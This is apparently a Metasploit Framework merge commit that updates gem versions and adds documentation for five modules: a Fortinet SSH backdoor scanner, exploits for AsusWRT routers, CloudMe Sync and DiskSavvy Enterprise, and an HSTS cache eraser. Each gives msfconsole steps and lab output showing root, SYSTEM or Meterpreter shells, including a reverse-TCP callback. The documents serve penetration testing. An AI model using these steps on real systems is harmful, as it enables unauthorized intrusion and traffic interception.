Skip to content

Commit cd728de

Browse files
committed
Merge branch 'master' into land-9607-
2 parents f10d58b + 7663e5c commit cd728de

36 files changed

+869
-100
lines changed

Gemfile.lock

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ PATH
5959
rex-text
6060
rex-zip
6161
ruby-macho
62-
ruby_smb
62+
ruby_smb (= 0.0.18)
6363
rubyntlm
6464
rubyzip
6565
sqlite3
@@ -125,11 +125,11 @@ GEM
125125
railties (>= 3.0.0)
126126
faker (1.8.7)
127127
i18n (>= 0.7)
128-
faraday (0.13.1)
128+
faraday (0.14.0)
129129
multipart-post (>= 1.2, < 3)
130130
filesize (0.1.1)
131131
fivemat (1.3.5)
132-
google-protobuf (3.5.1)
132+
google-protobuf (3.5.1.2)
133133
googleapis-common-protos-types (1.0.1)
134134
google-protobuf (~> 3.0)
135135
googleauth (0.6.2)
@@ -140,12 +140,12 @@ GEM
140140
multi_json (~> 1.11)
141141
os (~> 0.9)
142142
signet (~> 0.7)
143-
grpc (1.8.3)
143+
grpc (1.9.1)
144144
google-protobuf (~> 3.1)
145145
googleapis-common-protos-types (~> 1.0.0)
146146
googleauth (>= 0.5.1, < 0.7)
147147
hashery (2.1.2)
148-
i18n (0.9.1)
148+
i18n (0.9.5)
149149
concurrent-ruby (~> 1.0)
150150
jsobfu (0.4.2)
151151
rkelly-remix
@@ -155,7 +155,7 @@ GEM
155155
logging (2.2.2)
156156
little-plugger (~> 1.1)
157157
multi_json (~> 1.10)
158-
loofah (2.1.1)
158+
loofah (2.2.0)
159159
crass (~> 1.0.2)
160160
nokogiri (>= 1.5.9)
161161
memoist (0.16.0)
@@ -167,7 +167,7 @@ GEM
167167
activemodel (~> 4.2.6)
168168
activesupport (~> 4.2.6)
169169
railties (~> 4.2.6)
170-
metasploit-credential (2.0.12)
170+
metasploit-credential (2.0.13)
171171
metasploit-concern
172172
metasploit-model
173173
metasploit_data_models
@@ -194,7 +194,7 @@ GEM
194194
metasploit_payloads-mettle (0.3.7)
195195
method_source (0.9.0)
196196
mini_portile2 (2.3.0)
197-
minitest (5.11.1)
197+
minitest (5.11.3)
198198
mqtt (0.5.0)
199199
msgpack (1.2.2)
200200
multi_json (1.13.1)
@@ -203,7 +203,7 @@ GEM
203203
net-ssh (4.2.0)
204204
network_interface (0.0.2)
205205
nexpose (7.2.0)
206-
nokogiri (1.8.1)
206+
nokogiri (1.8.2)
207207
mini_portile2 (~> 2.3.0)
208208
octokit (4.8.0)
209209
sawyer (~> 0.8.0, >= 0.5.3)
@@ -214,7 +214,7 @@ GEM
214214
pcaprub
215215
patch_finder (1.0.2)
216216
pcaprub (0.12.4)
217-
pdf-reader (2.0.0)
217+
pdf-reader (2.1.0)
218218
Ascii85 (~> 1.0.0)
219219
afm (~> 0.2.1)
220220
hashery (~> 2.0)
@@ -229,7 +229,7 @@ GEM
229229
pry (0.11.3)
230230
coderay (~> 1.1.0)
231231
method_source (~> 0.9.0)
232-
public_suffix (3.0.1)
232+
public_suffix (3.0.2)
233233
rack (1.6.8)
234234
rack-test (0.6.3)
235235
rack (>= 1.0)
@@ -320,7 +320,7 @@ GEM
320320
rspec-support (~> 3.7.0)
321321
rspec-rerun (1.1.0)
322322
rspec (~> 3.0)
323-
rspec-support (3.7.0)
323+
rspec-support (3.7.1)
324324
ruby-macho (1.1.0)
325325
ruby-rc4 (0.1.5)
326326
ruby_smb (0.0.18)
@@ -348,7 +348,7 @@ GEM
348348
thread_safe (0.3.6)
349349
timecop (0.9.1)
350350
ttfunk (1.5.1)
351-
tzinfo (1.2.4)
351+
tzinfo (1.2.5)
352352
thread_safe (~> 0.1)
353353
tzinfo-data (1.2018.3)
354354
tzinfo (>= 1.0.0)
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Intro
2+
3+
This module scans for the Fortinet SSH backdoor and creates sessions.
4+
5+
## Setup
6+
7+
1. `git clone https://github.com/nixawk/labs`
8+
2. Import `FortiGate-Backdoor-VM/FortiGate-VM.ovf` into VMware
9+
3. <http://help.fortinet.com/fweb/580/Content/FortiWeb/fortiweb-admin/network_settings.htm>
10+
11+
## Usage
12+
13+
```
14+
msf5 > use auxiliary/scanner/ssh/fortinet_backdoor
15+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set rhosts 192.168.212.0/24
16+
rhosts => 192.168.212.0/24
17+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set threads 100
18+
threads => 100
19+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > run
20+
21+
[*] Scanned 54 of 256 hosts (21% complete)
22+
[+] 192.168.212.128:22 - Logged in as Fortimanager_Access
23+
[*] Scanned 65 of 256 hosts (25% complete)
24+
[*] Scanned 78 of 256 hosts (30% complete)
25+
[*] Command shell session 1 opened (192.168.212.1:40605 -> 192.168.212.128:22) at 2018-02-21 21:35:11 -0600
26+
[*] Scanned 104 of 256 hosts (40% complete)
27+
[*] Scanned 141 of 256 hosts (55% complete)
28+
[*] Scanned 154 of 256 hosts (60% complete)
29+
[*] Scanned 180 of 256 hosts (70% complete)
30+
[*] Scanned 205 of 256 hosts (80% complete)
31+
[*] Scanned 240 of 256 hosts (93% complete)
32+
[*] Scanned 256 of 256 hosts (100% complete)
33+
[*] Auxiliary module execution completed
34+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > sessions -1
35+
[*] Starting interaction with 1...
36+
37+
FortiGate-VM # get system status
38+
Version: FortiGate-VM v5.0,build0228,130809 (GA Patch 4)
39+
Virus-DB: 16.00560(2012-10-19 08:31)
40+
Extended DB: 1.00000(2012-10-17 15:46)
41+
Extreme DB: 1.00000(2012-10-17 15:47)
42+
IPS-DB: 4.00345(2013-05-23 00:39)
43+
IPS-ETDB: 0.00000(2000-00-00 00:00)
44+
Serial-Number: FGVM00UNLICENSED
45+
Botnet DB: 1.00000(2012-05-28 22:51)
46+
License Status: Evaluation license expired
47+
Evaluation License Expires: Thu Jan 28 13:05:41 2016
48+
BIOS version: 04000002
49+
Log hard disk: Need format
50+
Hostname: FortiGate-VM
51+
Operation Mode: NAT
52+
Current virtual domain: root
53+
Max number of virtual domains: 10
54+
Virtual domains status: 1 in NAT mode, 0 in TP mode
55+
Virtual domain configuration: disable
56+
FIPS-CC mode: disable
57+
Current HA mode: standalone
58+
Branch point: 228
59+
Release Version Information: GA Patch 4
60+
System time: Wed Feb 21 13:13:43 2018
61+
62+
FortiGate-VM #
63+
```
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
## Description
2+
3+
This module exploits a vulnerability in AsusWRT to execute arbitrary commands as `root`.
4+
5+
6+
## Vulnerable Application
7+
8+
The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to perform a HTTP `POST` in certain cases. This can be combined with another vulnerability in the VPN configuration upload routine that sets NVRAM configuration variables directly from the `POST` request to enable a special command mode.
9+
10+
This command mode can then be abused by sending a UDP packet to the infosvr service, which is running on port UDP 9999 on the LAN interface, to launch the Telnet daemon on a random port and gain an interactive remote shell as the `root` user.
11+
12+
This module was tested successfully with a RT-AC68U running AsusWRT version 3.0.0.4.380.7743.
13+
14+
Numerous ASUS models are reportedly affected, but untested.
15+
16+
17+
## Verification Steps
18+
19+
1. Start `msfconsole`
20+
2. `use exploits/linux/http/asuswrt_lan_rce`
21+
3. `set RHOST [IP]`
22+
4. `run`
23+
5. You should get a *root* session
24+
25+
26+
## Options
27+
28+
**ASUSWRTPORT**
29+
30+
AsusWRT HTTP portal port (default: `80`)
31+
32+
33+
## Scenarios
34+
msf > use exploit/linux/http/asuswrt_lan_rce
35+
msf exploit(linux/http/asuswrt_lan_rce) > set rhost 192.168.132.205
36+
rhost => 192.168.132.205
37+
msf exploit(linux/http/asuswrt_lan_rce) > run
38+
39+
[+] 192.168.132.205:9999 - Successfully set the ateCommand_flag variable.
40+
[*] 192.168.132.205:9999 - Packet sent, let's sleep 10 seconds and try to connect to the router on port 51332
41+
[+] 192.168.132.205:9999 - Success, shell incoming!
42+
[*] Found shell.
43+
[*] Command shell session 1 opened (192.168.135.111:36597 -> 192.168.132.205:51332) at 2018-01-25 14:51:12 -0600
44+
45+
id
46+
id
47+
/bin/sh: id: not found
48+
/ # cat /proc/cpuinfo
49+
cat /proc/cpuinfo
50+
system type : Broadcom BCM53572 chip rev 1 pkg 8
51+
processor : 0
52+
cpu model : MIPS 74K V4.9
53+
BogoMIPS : 149.91
54+
wait instruction : no
55+
microsecond timers : yes
56+
tlb_entries : 32
57+
extra interrupt vector : no
58+
hardware watchpoint : yes
59+
ASEs implemented : mips16 dsp
60+
shadow register sets : 1
61+
VCED exceptions : not available
62+
VCEI exceptions : not available
63+
64+
unaligned_instructions : 0
65+
dcache hits : 2147483648
66+
dcache misses : 0
67+
icache hits : 2147483648
68+
icache misses : 0
69+
instructions : 2147483648
70+
/ #
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
## Description
2+
This module exploits a buffer overflow vulnerability in [CloudMe Sync v1.10.9](https://www.cloudme.com/downloads/CloudMe_1109.exe).
3+
4+
## Verification Steps
5+
1. Install CloudMe for Desktop version `v1.10.9`
6+
2. Start the applicaton (you don't need to create an account)
7+
3. Start `msfconsole`
8+
4. Do `use exploit/windows/misc/cloudme_sync`
9+
5. Do `set RHOST ip`
10+
6. Do `set LHOST ip`
11+
7. Do `exploit`
12+
8. Verify the Meterpreter session is opened
13+
14+
## Scenarios
15+
16+
### CloudMe Sync client application on Windows 7 SP1 x86
17+
18+
```
19+
msf > use exploit/windows/misc/cloudme_sync
20+
msf exploit(windows/misc/cloudme_sync) > set RHOST 172.16.40.148
21+
RHOST => 172.16.40.148
22+
msf exploit(windows/misc/cloudme_sync) > set PAYLOAD windows/meterpreter/reverse_tcp
23+
PAYLOAD => windows/meterpreter/reverse_tcp
24+
msf exploit(windows/misc/cloudme_sync) > set LHOST 172.16.40.5
25+
LHOST => 172.16.40.5
26+
msf exploit(windows/misc/cloudme_sync) > exploit
27+
28+
[*] Started reverse TCP handler on 172.16.40.5:4444
29+
[*] Sending stage (179779 bytes) to 172.16.40.148
30+
[*] Meterpreter session 1 opened (172.16.40.5:4444 -> 172.16.40.148:57185) at 2018-02-19 12:35:21 +0000
31+
32+
meterpreter > sysinfo
33+
Computer : PC
34+
OS : Windows 7 (Build 7601, Service Pack 1).
35+
Architecture : x86
36+
System Language : pt_PT
37+
Domain : WORKGROUP
38+
Logged On Users : 1
39+
Meterpreter : x86/windows
40+
meterpreter >
41+
```
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
## Vulnerable Application
2+
3+
[DiskSavvy Enterprise](http://www.disksavvy.com/) version v10.4.18, affected by a stack-based buffer overflow vulnerability caused by improper bounds checking of the request sent to the built-in server which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target.. This module has been tested successfully on Windows 7 SP1 x86. The vulnerable application is available for download at [DiskSavvy Enterprise](http://www.disksavvy.com/setups/disksavvyent_setup_v10.4.18.exe).
4+
5+
## Verification Steps
6+
1. Install a vulnerable DiskSavvy Enterprise
7+
2. Start `msfconsole`
8+
3. Do `use exploit/windows/misc/disk_savvy_adm`
9+
4. Do `set RHOST ip`
10+
5. Do `set PAYLOAD windows/shell/bind_tcp`
11+
6. Do `exploit`
12+
7. Enjoy your shell
13+
14+
## Scenarios
15+
16+
### DiskSavvy Enterprise v10.4.18 on Windows 7 SP1 x86
17+
18+
```
19+
msf > use exploit/windows/misc/disk_savvy_adm
20+
msf exploit(windows/misc/disk_savvy_adm) > set RHOST 192.168.216.55
21+
RHOST => 192.168.216.55
22+
msf exploit(windows/misc/disk_savvy_adm) > set payload windows/shell/bind_tcp
23+
payload => windows/shell/bind_tcp
24+
msf exploit(windows/misc/disk_savvy_adm) > exploit
25+
26+
[*] Started bind handler
27+
[*] Encoded stage with x86/shikata_ga_nai
28+
[*] Sending encoded stage (267 bytes) to 192.168.216.55
29+
[*] Command shell session 1 opened (192.168.216.5:36113 -> 192.168.216.55:4444) at 2018-02-14 15:19:02 -0500
30+
31+
Microsoft Windows [Version 6.1.7601]
32+
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
33+
34+
C:\Windows\system32>whoami
35+
whoami
36+
nt authority\system
37+
38+
C:\Windows\system32>
39+
```
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
This module allows you to erase the [HTTP Strict-Transport-Security](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) cache of a target machine. When combined with a sniffer or a man-in-the-middle tool, this module will assist with the capture/modification of TLS-encrypted traffic.
2+
3+
**WARNING:** This module _erases_ the HSTS cache, leaving the target in a vulnerable state. All browser traffic from all users on the target will be subject to man-in-the-middle attacks. There is no undo built-into this module. If you intend to revert, you must first backup the HSTS file before running the module.
4+
5+
Note: This module searches for all non-root users on the system. It will not erase HSTS data for the root user.
6+
7+
## Vulnerable Application
8+
9+
The following platforms are supported:
10+
* Windows
11+
* Linux
12+
* OS X
13+
14+
## Verification Steps
15+
16+
1. Obtain and background a session from the target machine.
17+
2. From the `msf>` prompt, do ```use post/multi/manage/hsts_eraser```
18+
3. Set the ```DISCLAIMER``` option to ```True``` (after reading the above **WARNING**)
19+
4. Set the ```SESSION``` option
20+
5. ```run```
21+
22+
Alternatively:
23+
24+
1. Obtain a session from the target machine.
25+
2. From the `meterpreter>` prompt, do ```run post/multi/manage/hsts_eraser DISCLAIMER=True```
26+
27+
## Demo
28+
29+
Set up a Kali VM with some HSTS data:
30+
31+
```bash
32+
root@kali-2017:~# adduser bob
33+
root@kali-2017:~# su bob
34+
bob@kali-2017:/root$ cd
35+
36+
bob@kali-2017:~$ wget -S https://outlook.live.com/owa/ 2>&1 | grep -i strict
37+
Strict-Transport-Security: max-age=31536000; includeSubDomains
38+
Strict-Transport-Security: max-age=31536000; includeSubDomains
39+
bob@kali-2017:~$ cat .wget-hsts
40+
# HSTS 1.0 Known Hosts database for GNU Wget.
41+
# Edit at your own risk.
42+
# <hostname> <port> <incl. subdomains> <created> <max-age>
43+
outlook.live.com 0 1 1519176414 31536000
44+
```
45+
46+
Create an `msfvenom` payload, execute it, and then connect to it with `multi/exploit/handler`. From the Meterpreter session on the victim:
47+
48+
```
49+
[*] Meterpreter session 1 opened (127.0.0.1:38089 -> 127.0.0.1:44444) at 2018-02-20 19:19:02 -0600
50+
51+
meterpreter > run post/multi/manage/hsts_eraser DISCLAIMER=True
52+
53+
[*] Removing wget HSTS database for bob...
54+
[*] HSTS databases removed! Now enjoy your favorite sniffer! ;-)
55+
```
56+
57+
Confirm that the file was deleted:
58+
59+
```bash
60+
bob@kali-2017:~$ cat .wget-hsts
61+
cat: .wget-hsts: No such file or directory
62+
```

0 commit comments

Comments
 (0)